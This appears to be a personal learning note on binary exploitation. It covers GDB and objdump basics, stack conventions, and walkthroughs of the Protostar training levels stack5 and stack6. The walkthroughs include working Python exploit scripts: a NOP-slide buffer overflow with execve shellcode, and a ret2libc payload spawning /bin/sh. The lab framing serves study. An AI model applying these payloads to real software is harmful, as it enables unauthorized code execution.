Security Learning Note¶
Binary Exploitation¶
Learning Sources¶
Before Cracking¶
file
: determine file typestrings
: print the sequences of printable characters in files
GDB¶
set disassembly-flavor intel
: a more readable styledisassemble main
: display all assembler instructions of themain
functionbreak *address
: for example,break *main
si
: step one instructioninfo registers
:rip / eip
: instruction pointer (program counter)rsp / esp
: stack pointereax
: the first 32 bits of the 64-bitrax
register
set $eax=0
: set the registereax
to 0info proc mapping
: report the memory address space ranges accessible in a process.- x command: examine the content of a memory address reference
x/4wx $esp
- define a "hook", for example, hook-stop will execute when the program stop at a breakpoint:
(gdb) define hook-stop Type commands for definition of "hook-stop". End with a line saying just "end". >info registers >x/32wx $esp+0x1c >x/2i $eip >end
objdump¶
objdump -d $FILENAME
: disassemblerobjdump -x $FILENAME
: print header informationobjdump -t $FILENAME
: print the symbol table entries, can be used to find the address of a function
strace & ltrace¶
strace
: trace system callsltrace
: trace library calls
Other useful tools¶
- Radare2, Ghidra, ...
Parser Differential¶
- Use fuzzing technique to make a program failed to be parsed by gdb, radare2, or whatever but able to be executed by
execve
.
Stack¶
- ebp / rbp: contains the address of the bottom of the stack
- esp / rsp: contains the address the top of the stack
Calling Convention:¶
- push the paramters to be passed on the stack (in reverse order)
call
instruction- push the return address on the stack
- set
eip (rip)
to the address of the callee
- push the value of
ebp
on the stack - set
ebp
to the value ofesp
- align the value of
esp
(bitwise and with 0xfffffff0) - substract
esp
by a certain value to create the stack frame
End of a Function¶
leave
instruction:mov esp, ebp
thenpop ebp
ret
instruction (the invert ofcall
instruction): get and set the next instruction pointer, which is on the top of the stack
Protostar¶
stack5¶
- First analyze the disassembled code:
The goal is to smash the stack frame of
0x080483c4 <main+0>: push ebp 0x080483c5 <main+1>: mov ebp,esp 0x080483c7 <main+3>: and esp,0xfffffff0 0x080483ca <main+6>: sub esp,0x50 0x080483cd <main+9>: lea eax,[esp+0x10] 0x080483d1 <main+13>: mov DWORD PTR [esp],eax 0x080483d4 <main+16>: call 0x80482e8 <gets@plt> 0x080483d9 <main+21>: leave 0x080483da <main+22>: ret
gets
and redirect the return address toexecve("/bin/sh")
at the return of main function. - From the assembly code, we know the buffer starts at
$esp+0x10
, whose value can be found by GDB. - To know the size of padding, we need to know
$esp
when0x080483da <main+22>: ret
is executed. We can find it out by setting a breakpoint atret
andx/wx $esp
. Now we know that the padding should be 76 bytes long. (actually the last 4 bytes is the oldebp
, but it does not matter here) - determine the value of
eip
: Where to place our shell code? Here we choose to place it right after the position ofeip
- However, the address space may not be the same every time since the data pushed on the stack can be different (e.g. environment variables). To address this issue, we can find a way to know the exact value by the other code in the binary. However, we can also use NOP(opcode:
0x90
) slide to make sure thateip
points to the code we control.- make the eip point to the middle of the NOP slide
- add shellcode: copy from shell-storm
Info
use int3
(opcode: 0xCC
) instruction to debug shellcode
Warning
python exploit.py | /opt/protostar/bin/stack5
does not work because stack5's stdin has been redirected to the stdout of exploit.py. When the shell gets executed, it reads nothing but the EOF of the stdout of exploit.py. As a result, the shell does not read any input from our terminal. A possible solution is using cat
to "continue" the pipe and pipe our commands into the stdin of the shell.
(python exploit.py; cat) | /opt/protostar/bin/stack5
Python2 Script:
import struct
padding = 'A' * 76
eip = struct.pack('I', 0xbffff6e0+40)
nopslide = '\x90' * 100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print padding + eip + nopslide + shellcode
stack6¶
In this task, the return address is restricted so we cannot just set it to an address on the stack. Instead, we take use of the code of libc
. The goal is to call system()
with /bin/sh
as the argument. This is a attack method called ret2libc.
-
How to call
system()
- push the argument ("/bin/sh") on the stack
- push the return address on the stack
- jump to
system
-
Thus, when
ret
instruction jump tosystem
, the stack should be as follow:----------------------------- return address after system <---- esp ----------------------------- address of "/bin/sh" -----------------------------
- And our buffer overflow should make the stack be as follow:
----------------------------- padding ----------------------------- address of system ----------------------------- return address after system ----------------------------- address of "/bin/sh" -----------------------------
-
script:
import struct padding = 'A' * 80 system = struct.pack('I', 0xb7ecffb0) return_after_system = 'AAAA' bin_sh = struct.pack('I', 0xb7fb63bf) print padding + system + return_after_system + bin_sh
-
find the address of
system
: in GDB typep system
- find the address of "/bin/sh"
- use environment variables
- find in libc:
string -a -t x /lib/libc-2.11.2.so | grep "/bin/sh"
+ the start address of libc in the program's memory mapping.